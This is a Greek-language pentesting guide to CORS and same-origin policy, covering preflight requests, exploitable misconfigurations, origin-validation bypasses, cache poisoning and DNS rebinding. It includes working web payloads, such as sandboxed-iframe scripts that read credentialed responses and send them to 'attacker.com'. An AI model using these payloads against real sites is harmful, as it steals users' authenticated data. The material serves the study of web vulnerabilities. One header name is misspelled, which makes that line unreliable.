Τι είναι το CORS?

Cross-Origin Resource Sharing (CORS) standard επιτρέπει στους servers να ορίζουν ποιοι μπορούν να έχουν πρόσβαση στα assets τους και ποιες HTTP request methods επιτρέπονται από εξωτερικές πηγές.

Μια same-origin πολιτική απαιτεί ότι ο server που κάνει το αίτημα για έναν πόρο και ο server που φιλοξενεί τον πόρο μοιράζονται το ίδιο πρωτόκολλο (π.χ. http://), το ίδιο domain name (π.χ. internal-web.com) και την ίδια port (π.χ. 80). Υπό αυτήν την πολιτική, μόνο σελίδες web από το ίδιο domain και port επιτρέπεται να έχουν πρόσβαση στους πόρους.

Η εφαρμογή της πολιτικής same-origin στο πλαίσιο του http://normal-website.com/example/example.html απεικονίζεται ως εξής:

URL accessedAccess permitted?
http://normal-website.com/example/Ναι: Ίδιο scheme, domain και port
http://normal-website.com/example2/Ναι: Ίδιο scheme, domain και port
https://normal-website.com/example/Όχι: Διαφορετικό scheme και port
http://en.normal-website.com/example/Όχι: Διαφορετικό domain
http://www.normal-website.com/example/Όχι: Διαφορετικό domain
http://normal-website.com:8080/example/Όχι: Διαφορετική port*

*Το Internet Explorer αγνοεί τον αριθμό port στην επιβολή της πολιτικής same-origin, επιτρέποντας έτσι αυτήν την πρόσβαση.

Access-Control-Allow-Origin Header

Αυτό το header μπορεί να επιτρέψει πολλαπλές origins, μια τιμή null, ή ένα wildcard *. Ωστόσο, κανένας browser δεν υποστηρίζει πολλαπλές origins, και η χρήση του wildcard * έχει περιορισμούς. (Το wildcard πρέπει να χρησιμοποιείται μόνο του, και δεν επιτρέπεται η χρήση του μαζί με Access-Control-Allow-Credentials: true.)

Αυτό το header εκδίδεται από τον server σε απάντηση σε ένα cross-domain αίτημα πόρου που ξεκινά μια ιστοσελίδα, με τον browser να προσθέτει αυτόματα ένα Origin header.

Access-Control-Allow-Credentials Header

Από προεπιλογή, τα cross-origin αιτήματα γίνονται χωρίς credentials όπως cookies ή το Authorization header. Ωστόσο, ένας cross-domain server μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται credentials, θέτοντας το header Access-Control-Allow-Credentials σε true.

Αν οριστεί σε true, ο browser θα στείλει credentials (cookies, authorization headers, ή TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Αίτημα προελέγχου

Κατανόηση των αιτημάτων προελέγχου στην διατομεακή επικοινωνία

Όταν ξεκινάτε ένα cross-domain request υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας μη-τυπικής μεθόδου HTTP (οτιδήποτε εκτός των HEAD, GET, POST), η εισαγωγή νέων headers, ή η χρήση μιας ειδικής τιμής Content-Type header, ενδέχεται να απαιτηθεί ένα pre-flight request. Αυτό το προκαταρκτικό αίτημα, που χρησιμοποιεί τη μέθοδο OPTIONS, ενημερώνει τον server για τις προθέσεις του επικείμενου cross-origin αιτήματος, συμπεριλαμβανομένων των HTTP methods και των headers που σκοπεύει να χρησιμοποιήσει.

Το πρωτόκολλο Cross-Origin Resource Sharing (CORS) επιβάλλει αυτόν τον προ-έλεγχο για να καθορίσει τη δυνατότητα της ζητούμενης cross-origin ενέργειας, ελέγχοντας τις επιτρεπόμενες μεθόδους, headers και την αξιοπιστία της προέλευσης. Για λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για pre-flight request, ανατρέξτε στον οδηγό της Mozilla Developer Network (MDN).

Είναι κρίσιμο να σημειωθεί ότι η απουσία pre-flight request δεν αναιρεί την ανάγκη η απόκριση να φέρει επικεφαλίδες εξουσιοδότησης. Χωρίς αυτές τις επικεφαλίδες, ο browser αδυνατεί να επεξεργαστεί την απάντηση από το cross-origin αίτημα.

Consider the following illustration of a pre-flight request aimed at employing the PUT method along with a custom header named Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Σε απάντηση, ο διακομιστής μπορεί να επιστρέψει επικεφαλίδες που υποδεικνύουν τις αποδεκτές μεθόδους, την επιτρεπόμενη προέλευση και άλλες λεπτομέρειες της πολιτικής CORS, όπως φαίνεται παρακάτω:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Αυτό το header καθορίζει ποια headers μπορούν να χρησιμοποιηθούν κατά το πραγματικό αίτημα. Ορίζεται από τον διακομιστή για να υποδείξει τα επιτρεπόμενα headers στα αιτήματα από τον πελάτη.
  • Access-Control-Expose-Headers: Μέσω αυτού του header, ο διακομιστής ενημερώνει τον πελάτη για το ποια headers μπορούν να αποκαλυφθούν ως μέρος της απόκρισης, πέρα από τα simple response headers.
  • Access-Control-Max-Age: Αυτό το header υποδεικνύει πόσο καιρό τα αποτελέσματα ενός pre-flight αιτήματος μπορούν να αποθηκευτούν στην cache. Ο διακομιστής ορίζει τον μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από ένα pre-flight αίτημα μπορούν να επαναχρησιμοποιηθούν.
  • Access-Control-Request-Headers: Χρησιμοποιείται σε pre-flight αιτήματα, αυτό το header ορίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με τα HTTP headers που θέλει να χρησιμοποιήσει στο πραγματικό αίτημα.
  • Access-Control-Request-Method: Αυτό το header, επίσης χρησιμοποιούμενο σε pre-flight αιτήματα, ορίζεται από τον πελάτη για να υποδείξει ποια HTTP μέθοδος θα χρησιμοποιηθεί στο πραγματικό αίτημα.
  • Origin: Αυτό το header τίθεται αυτόματα από το πρόγραμμα περιήγησης και υποδεικνύει την origin του cross-origin αιτήματος. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει αν το εισερχόμενο αίτημα θα πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
Therefore, CORS doesn’t protect against CSRF (but it can be helpful).

Pre-flight αιτήματα τοπικού δικτύου

  1. Access-Control-Request-Local-Network: Αυτό το header περιλαμβάνεται στο αίτημα του πελάτη για να δηλώσει ότι το ερώτημα στοχεύει σε πόρο του τοπικού δικτύου. Λειτουργεί ως ένδειξη για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το εσωτερικό του τοπικού δικτύου.
  2. Access-Control-Allow-Local-Network: Στην απάντηση, οι διακομιστές χρησιμοποιούν αυτό το header για να δηλώσουν ότι ο ζητούμενος πόρος επιτρέπεται να κοινοποιηθεί σε οντότητες εκτός του τοπικού δικτύου. Λειτουργεί ως πράσινο φως για την κοινή χρήση πόρων πέρα από διαφορετικά όρια δικτύου, εξασφαλίζοντας ελεγχόμενη πρόσβαση ενώ διατηρούνται τα πρωτόκολλα ασφάλειας.

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Σημειώστε ότι στο linux 0.0.0.0 IP λειτουργεί για να bypass αυτές τις απαιτήσεις για πρόσβαση στο localhost καθώς αυτή η διεύθυνση IP δεν θεωρείται “local”.

Είναι επίσης δυνατό να bypass the Local Network requirements αν χρησιμοποιήσετε την public IP address of a local endpoint (όπως την public IP του router). Διότι σε αρκετές περιπτώσεις, ακόμα και αν η public IP προσπελαύνεται, αν είναι from the local network, η πρόσβαση θα χορηγηθεί.

Wildcards

Σημειώστε ότι ακόμα κι αν η ακόλουθη διαμόρφωση μπορεί να φαίνεται υπερβολικά επιτρεπτική:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Αυτό δεν επιτρέπεται από τους browser και επομένως τα credentials δεν θα σταλούν με το αίτημα.

Εκμεταλλεύσιμες κακοδιαμορφώσεις

Έχει παρατηρηθεί ότι η ρύθμιση του Access-Control-Allow-Credentials σε true είναι προαπαιτούμενο για τις περισσότερες πραγματικές επιθέσεις. Αυτή η ρύθμιση επιτρέπει στον browser να στείλει credentials και να διαβάσει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το όφελος από το να κάνει ο browser ένα αίτημα αντί να το κάνει ο επιτιθέμενος μειώνεται, καθώς η αξιοποίηση των cookies ενός χρήστη γίνεται ανέφικτη.

Εξαίρεση: Η δικτυακή θέση του χρήστη ως μορφή πιστοποίησης

Υπάρχει μια εξαίρεση όπου η δικτυακή θέση του θύματος λειτουργεί ως μορφή πιστοποίησης. Αυτό επιτρέπει τη χρήση του browser του θύματος ως proxy, παρακάμπτοντας την αυθεντικοποίηση βάσει IP για πρόσβαση σε intranet εφαρμογές. Αυτή η μέθοδος έχει ομοιότητες στην επίπτωση με το DNS rebinding αλλά είναι απλούστερη στην εκμετάλλευση.

Αντανάκλαση του Origin στο Access-Control-Allow-Origin

Το σενάριο στον πραγματικό κόσμο όπου η τιμή του header Origin αντικατοπτρίζεται στο Access-Control-Allow-Origin είναι θεωρητικά απίθανο λόγω περιορισμών στον συνδυασμό αυτών των headers. Ωστόσο, προγραμματιστές που θέλουν να ενεργοποιήσουν το CORS για πολλαπλά URLs ενδέχεται να δημιουργούν δυναμικά το header Access-Control-Allow-Origin αντιγράφοντας την τιμή του Origin. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ειδικά όταν ένας επιτιθέμενος χρησιμοποιεί ένα domain με όνομα σχεδιασμένο να φαίνεται νόμιμο, εξαπατώντας έτσι τη λογική επικύρωσης.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Εκμετάλλευση της προέλευσης null

Η προέλευση null, που καθορίζεται για περιπτώσεις όπως οι ανακατευθύνσεις ή τα τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Ορισμένες εφαρμογές προσθέτουν αυτήν την προέλευση στη whitelist για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας άθελά τους σε οποιονδήποτε ιστότοπο να μιμηθεί την προέλευση null μέσω ενός sandboxed iframe, παρακάμπτοντας έτσι τους περιορισμούς του CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Τεχνικές Παράκαμψης Κανονικών Εκφράσεων

Όταν συναντάτε μια domain whitelist, είναι κρίσιμο να δοκιμάσετε για ευκαιρίες bypass, όπως το να προσθέσετε το attacker’s domain σε ένα whitelisted domain ή να εκμεταλλευτείτε subdomain takeover vulnerabilities. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για domain validation μπορεί να παραβλέπουν λεπτομέρειες στις συμβάσεις ονοματοδοσίας των domain, προσφέροντας περαιτέρω ευκαιρίες bypass.

Προχωρημένες Παράκαμψεις Κανονικών Εκφράσεων

Τα πρότυπα Regex συνήθως εστιάζουν σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), αγνοώντας άλλες δυνατότητες. Για παράδειγμα, ένα domain σχεδιασμένο να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από browsers και regex patterns μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η μεταχείριση των underscore χαρακτήρων σε subdomains από Safari, Chrome, και Firefox δείχνει πώς τέτοιες ασυμφωνίες μπορούν να εκμεταλλευτούν για να παρακαμφθεί η λογική επαλήθευσης domain.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Από XSS εντός subdomain

Οι προγραμματιστές συχνά εφαρμόζουν αμυντικούς μηχανισμούς για προστασία από εκμετάλλευση του CORS whitelist-ώντας domains που επιτρέπεται να ζητούν πληροφορίες. Παρά αυτές τις προφυλάξεις, η ασφάλεια του συστήματος δεν είναι απόλυτη. Η ύπαρξη ακόμη ενός ευάλωτου subdomain μέσα στα whitelisted domains μπορεί να ανοίξει την πόρτα στην εκμετάλλευση του CORS μέσω άλλων ευπαθειών, όπως XSS (Cross-Site Scripting).

Για να το απεικονίσουμε, σκεφτείτε το σενάριο όπου ένα domain, requester.com, είναι whitelisted για πρόσβαση σε πόρους από ένα άλλο domain, provider.com. Η server-side διαμόρφωση μπορεί να μοιάζει κάπως έτσι:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Σε αυτή τη ρύθμιση, όλα τα subdomains του requester.com έχουν επιτρεπτή πρόσβαση. Ωστόσο, εάν ένα subdomain, π.χ. sub.requester.com, συμβιβαστεί με ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο sub.requester.com θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο provider.com.

Ειδικοί χαρακτήρες

Το PortSwigger’s URL validation bypass cheat sheet διαπίστωσε ότι κάποια προγράμματα περιήγησης υποστηρίζουν ασυνήθιστους χαρακτήρες μέσα στα ονόματα domain.

Το Chrome και το Firefox υποστηρίζουν τον χαρακτήρα underscore _ ο οποίος μπορεί να παρακάμψει regexes που εφαρμόζονται για την επικύρωση της κεφαλίδας Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Το Safari είναι ακόμα πιο χαλαρό στην αποδοχή ειδικών χαρακτήρων στο domain name:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Άλλες αστείες URL τεχνικές

URL Format Bypass

Server-side cache poisoning

From this research

Είναι πιθανό ότι με την εκμετάλλευση του server-side cache poisoning μέσω HTTP header injection μπορεί να προκληθεί μια αποθηκευμένη Cross-Site Scripting (XSS) ευπάθεια. Αυτό το σενάριο συμβαίνει όταν μια εφαρμογή δεν απολυμαίνει το Origin header για μη επιτρεπτούς χαρακτήρες, δημιουργώντας ευπάθεια ιδιαίτερα για χρήστες Internet Explorer και Edge. Αυτοί οι browsers αντιμετωπίζουν το (0x0d) ως νόμιμο HTTP header terminator, οδηγώντας σε HTTP header injection ευπάθειες.

Εξετάστε το ακόλουθο αίτημα όπου το Origin header είναι παραποιημένο:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Το Internet Explorer και το Edge ερμηνεύουν την απάντηση ως:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Ενώ η άμεση εκμετάλλευση αυτής της ευπάθειας προκαλώντας ένα πρόγραμμα περιήγησης να στείλει ένα παραποιημένο header δεν είναι πρακτική, ένα κατασκευασμένο αίτημα μπορεί να δημιουργηθεί χειροκίνητα με εργαλεία όπως Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε ένα server-side cache που αποθηκεύει την απάντηση και ακούσια την εξυπηρετεί σε άλλους. Το κατασκευασμένο payload στοχεύει στο να αλλάξει το character set της σελίδας σε UTF-7, ένα character encoding που συνδέεται συχνά με XSS ευπάθειες λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με τρόπο που μπορούν να εκτελεστούν ως script σε ορισμένα περιβάλλοντα.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Σημείωση: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, υπογραμμίζει τη ζωτική σημασία της επικύρωσης και απολύμανσης όλων των input που προέρχονται από χρήστες, συμπεριλαμβανομένων των HTTP headers. Να εφαρμόζετε πάντα ένα ισχυρό security model που περιλαμβάνει input validation για την αποτροπή τέτοιων ευπαθειών.

Client-Side cache poisoning

From this research

Σε αυτό το σενάριο, παρατηρείται ένα παράδειγμα ιστοσελίδας που αντανακλά τα περιεχόμενα ενός custom HTTP header χωρίς σωστή κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα αντανακλά τα περιεχόμενα που περιλαμβάνονται σε ένα X-User-id header, τα οποία θα μπορούσαν να περιέχουν κακόβουλο JavaScript, όπως δείχνει το παράδειγμα όπου το header περιέχει ένα SVG image tag σχεδιασμένο να εκτελέσει JavaScript κατά το load.

Cross-Origin Resource Sharing (CORS) policies επιτρέπουν την αποστολή custom headers. Ωστόσο, χωρίς την απευθείας απόδοση της απόκρισης από το πρόγραμμα περιήγησης λόγω των περιορισμών CORS, η χρησιμότητα μιας τέτοιας έγχυσης μπορεί να φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν εξεταστεί η συμπεριφορά του cache του προγράμματος περιήγησης. Εάν το Vary: Origin header δεν καθορίζεται, γίνεται εφικτό η κακόβουλη απάντηση να αποθηκευτεί στο cache του προγράμματος περιήγησης. Στη συνέχεια, αυτή η αποθηκευμένη απάντηση θα μπορούσε να αποδοθεί απευθείας κατά την πλοήγηση στη διεύθυνση URL, παρακάμπτοντας την ανάγκη για απευθείας απόδοση κατά το αρχικό αίτημα. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος το client-side caching.

Για να απεικονιστεί αυτή η επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο για να εκτελεστεί στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Το script εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε ένα καθορισμένο URL με ένα custom header που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχημένη ολοκλήρωση του αιτήματος, προσπαθεί να μεταβεί στο target URL, ενδεχομένως ενεργοποιώντας την εκτέλεση του εγχυμένου script εάν η απάντηση έχει αποθηκευτεί στο cache χωρίς σωστή διαχείριση του Vary: Origin header.

Here’s a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν εφαρμόζεται όταν συμπεριλαμβάνονται πόροι μέσω του στοιχείου script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριλαμβάνονται από διαφορετικά domains. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να αποκτήσει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο που συμπεριλήφθηκε με το script tag.

Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON with Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες ambient-authority όπως cookies για authentication. Όταν ζητείται ένας πόρος από διαφορετικό host, τα cookies συμπεριλαμβάνονται, καθιστώντας τα προσβάσιμα στον επιτιθέμενο.

Για να κατανοήσετε καλύτερα και να μετριάσετε αυτή την ευπάθεια, μπορείτε να χρησιμοποιήσετε το BurpSuite plugin διαθέσιμο στο https://github.com/kapytein/jsonp. Αυτό το plugin μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών XSSI ευπαθειών στις web εφαρμογές σας.

Διαβάστε περισσότερα για τους διάφορους τύπους XSSI και πώς να τους εκμεταλλευτείτε εδώ.

Δοκιμάστε να προσθέσετε ένα callback parameter στο request. Ίσως η σελίδα ήταν προετοιμασμένη να στείλει τα δεδομένα ως JSONP. Σε αυτή την περίπτωση η σελίδα θα επιστρέψει τα δεδομένα με Content-Type: application/javascript το οποίο θα παρακάμψει την πολιτική CORS.

Easy (useless?) bypass

Ένας τρόπος να παρακάμψετε τον περιορισμό Access-Control-Allow-Origin είναι να ζητήσετε από μια web εφαρμογή να κάνει ένα request εκ μέρους σας και να σας επιστρέψει την απάντηση. Ωστόσο, σε αυτό το σενάριο, τα credentials του τελικού θύματος δεν θα σταλούν αφού το request γίνεται προς διαφορετικό domain.

  1. CORS-escape: Αυτό το εργαλείο παρέχει έναν proxy που προωθεί το request σας μαζί με τα headers, ενώ επίσης spoof-άρει το Origin header ώστε να ταιριάζει με το ζητούμενο domain. Αυτό ουσιαστικά παρακάμπτει την πολιτική CORS. Εδώ είναι ένα παράδειγμα χρήσης με XMLHttpRequest:
  2. simple-cors-escape: Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση στο proxying των requests. Αντί να προωθεί το request σας όπως είναι, ο server κάνει το δικό του request με τις καθορισμένες παραμέτρους.

Iframe + Popup Bypass

Μπορείτε να παρακάμψετε ελέγχους CORS όπως e.origin === window.origin δημιουργώντας ένα iframe και από αυτό ανοίγοντας ένα νέο παράθυρο. Περισσότερες πληροφορίες στην ακόλουθη σελίδα:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

Το DNS rebinding μέσω TTL είναι μια τεχνική που χρησιμοποιείται για να παρακάμψει ορισμένα μέτρα ασφαλείας με την παραπλάνηση DNS records. Αυτό λειτουργεί ως εξής:

  1. Ο επιτιθέμενος δημιουργεί μια σελίδα και κάνει το θύμα να την επισκεφθεί.
  2. Ο επιτιθέμενος αλλάζει στη συνέχεια το DNS (IP) του δικού του domain ώστε να δείχνει στη σελίδα του θύματος.
  3. Ο browser του θύματος κάνει cache την DNS απάντηση, η οποία μπορεί να έχει μια τιμή TTL (Time to Live) που υποδεικνύει πόσο καιρό το DNS record θα θεωρείται έγκυρο.
  4. Όταν λήξει το TTL, ο browser του θύματος κάνει νέο DNS request, επιτρέποντας στον επιτιθέμενο να εκτελέσει JavaScript στον σελίδα του θύματος.
  5. Κρατώντας τον έλεγχο πάνω στο IP του θύματος, ο επιτιθέμενος μπορεί να συλλέξει πληροφορίες από το θύμα χωρίς να στείλουν cookies στον victim server.

Είναι σημαντικό να σημειωθεί ότι οι browsers έχουν μηχανισμούς caching που μπορεί να αποτρέψουν την άμεση κακόβουλη χρήση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.

Το DNS rebinding μπορεί να είναι χρήσιμο για να παρακάμψει explicit IP checks που εκτελεί το θύμα ή σε σενάρια όπου ένας χρήστης ή bot παραμένει στην ίδια σελίδα για μεγάλο χρονικό διάστημα, επιτρέποντας στην cache να λήξει.

Αν χρειάζεστε έναν γρήγορο τρόπο να εκμεταλλευτείτε DNS rebinding, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως https://lock.cmpxchg8b.com/rebinder.html.

Για να τρέξετε τον δικό σας DNS rebinding server, μπορείτε να χρησιμοποιήσετε εργαλεία όπως DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Αυτό περιλαμβάνει το άνοιγμα του τοπικού σας port 53/udp, τη δημιουργία ενός A record που δείχνει σε αυτό (π.χ., ns.example.com), και τη δημιουργία ενός NS record που δείχνει στο προηγουμένως δημιουργημένο A subdomain (π.χ., ns.example.com). Οποιοδήποτε subdomain του ns.example.com θα επιλυθεί τότε από τον host σας.

Μπορείτε επίσης να εξερευνήσετε έναν δημόσια λειτουργούντα server στο http://rebind.it/singularity.html για περαιτέρω κατανόηση και πειραματισμό.

DNS Rebinding via DNS Cache Flooding

Το DNS rebinding μέσω DNS cache flooding είναι μια άλλη τεχνική που χρησιμοποιείται για να παρακάμψει τον μηχανισμό caching των browsers και να αναγκάσει ένα δεύτερο DNS request. Αυτό λειτουργεί ως εξής:

  1. Αρχικά, όταν το θύμα κάνει ένα DNS request, αυτό απαντάται με το IP του επιτιθέμενου.
  2. Για να παρακάμψει την άμυνα της cache, ο επιτιθέμενος αξιοποιεί ένα service worker. Ο service worker γεμίζει (flood) την DNS cache, το οποίο στην ουσία διαγράφει το cached attacker server name.
  3. Όταν ο browser του θύματος κάνει δεύτερο DNS request, αυτό τώρα απαντάται με τη διεύθυνση IP 127.0.0.1, που τυπικά αναφέρεται στο localhost.

Με το flooding της DNS cache μέσω του service worker, ο επιτιθέμενος μπορεί να χειραγωγήσει τη διαδικασία επίλυσης DNS και να αναγκάσει τον browser του θύματος να κάνει ένα δεύτερο request που επιλύεται στην επιθυμητή από τον επιτιθέμενο IP διεύθυνση.

DNS Rebinding via Cache

Ένας άλλος τρόπος να παρακάμψετε την άμυνα της cache είναι χρησιμοποιώντας πολλαπλά IPs για το ίδιο subdomain στον DNS provider. Αυτό λειτουργεί έτσι:

  1. Ο επιτιθέμενος ορίζει δύο A records (ή ένα A record με δύο IPs) για το ίδιο subdomain στον DNS provider.
  2. Όταν ένας browser ελέγχει αυτά τα records, λαμβάνει και τις δύο IP διευθύνσεις.
  3. Αν ο browser αποφασίσει να χρησιμοποιήσει πρώτα το attacker IP, ο επιτιθέμενος μπορεί να σερβίρει ένα payload που εκτελεί HTTP requests προς το ίδιο domain.
  4. Ωστόσο, μόλις ο επιτιθέμενος αποκτήσει το victim IP, σταματά να απαντά στον browser του θύματος.
  5. Ο browser του θύματος, αντιλαμβανόμενος ότι το domain δεν ανταποκρίνεται, προχωρά και χρησιμοποιεί τη δεύτερη δοθείσα IP.
  6. Με την πρόσβαση στη δεύτερη IP, ο browser παρακάμπτει την Same Origin Policy (SOP), επιτρέποντας στον επιτιθέμενο να καταχραστεί αυτήν τη συμπεριφορά και να συλλέξει/εξάγει πληροφορίες.

Αυτή η τεχνική εκμεταλλεύεται τη συμπεριφορά των browsers όταν παρέχονται πολλαπλές IP διευθύνσεις για ένα domain. Με τον στρατηγικό έλεγχο των απαντήσεων και τη χειραγώγηση της επιλογής IP από τον browser, ένας επιτιθέμενος μπορεί να εκμεταλλεύσει την SOP και να αποκτήσει πρόσβαση σε πληροφορίες από το θύμα.

Warning

Σημειώστε ότι για να αποκτήσετε πρόσβαση στο localhost θα πρέπει να δοκιμάσετε να rebind το 127.0.0.1 στα Windows και 0.0.0.0 σε linux.
Providers όπως godaddy ή cloudflare δεν μου επέτρεψαν να χρησιμοποιήσω το ip 0.0.0.0, αλλά το AWS route53 μου επέτρεψε να δημιουργήσω ένα A record με 2 IPs, όπου ένα από αυτά ήταν “0.0.0.0”

Για περισσότερες πληροφορίες μπορείτε να δείτε https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • If internal IPs aren’t allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
  • If internal IPs aren’t allowed, respond with a CNAME to localhost (works on Linux and Ma
  • If internal IPs aren’t allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.

DNS Rebidding Weaponized

Μπορείτε να βρείτε περισσότερες πληροφορίες για τις προηγούμενες τεχνικές bypass και πώς να χρησιμοποιήσετε το ακόλουθο εργαλείο στην ομιλία Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin είναι ένα εργαλείο για την εκτέλεση επιθέσεων DNS rebinding. Περιλαμβάνει τα απαραίτητα components για να rebind το IP της DNS οντότητας του επιτιθέμενου στο IP της στοχευμένης μηχανής και να σερβίρει payloads για την εκμετάλλευση ευπαθών υπηρεσιών στο στόχο.

DNS Rebinding over DNS-over-HTTPS (DoH)

Το DoH απλώς τούνελάρει το κλασικό RFC1035 DNS wire format μέσα σε HTTPS (συνήθως ένα POST με Content-Type: application/dns-message). Ο resolver εξακολουθεί να απαντά με τα ίδια resource records, οπότε τεχνικές που σπάνε το SOP συνεχίζουν να λειτουργούν ακόμη και όταν οι browsers επιλύουν το attacker-controlled hostname μέσω TLS.

Key observations

  • Chrome (Windows/macOS) και Firefox (Linux) rebinding-άρουν επιτυχώς όταν είναι ρυθμισμένοι σε Cloudflare, Google, ή OpenDNS DoH resolvers. Η μεταφορά (transport) κρυπτογράφησης ούτε καθυστερεί ούτε μπλοκάρει τη ροή επίθεσης για τις στρατηγικές first-then-second, multiple-answers, ή DNS cache flooding.
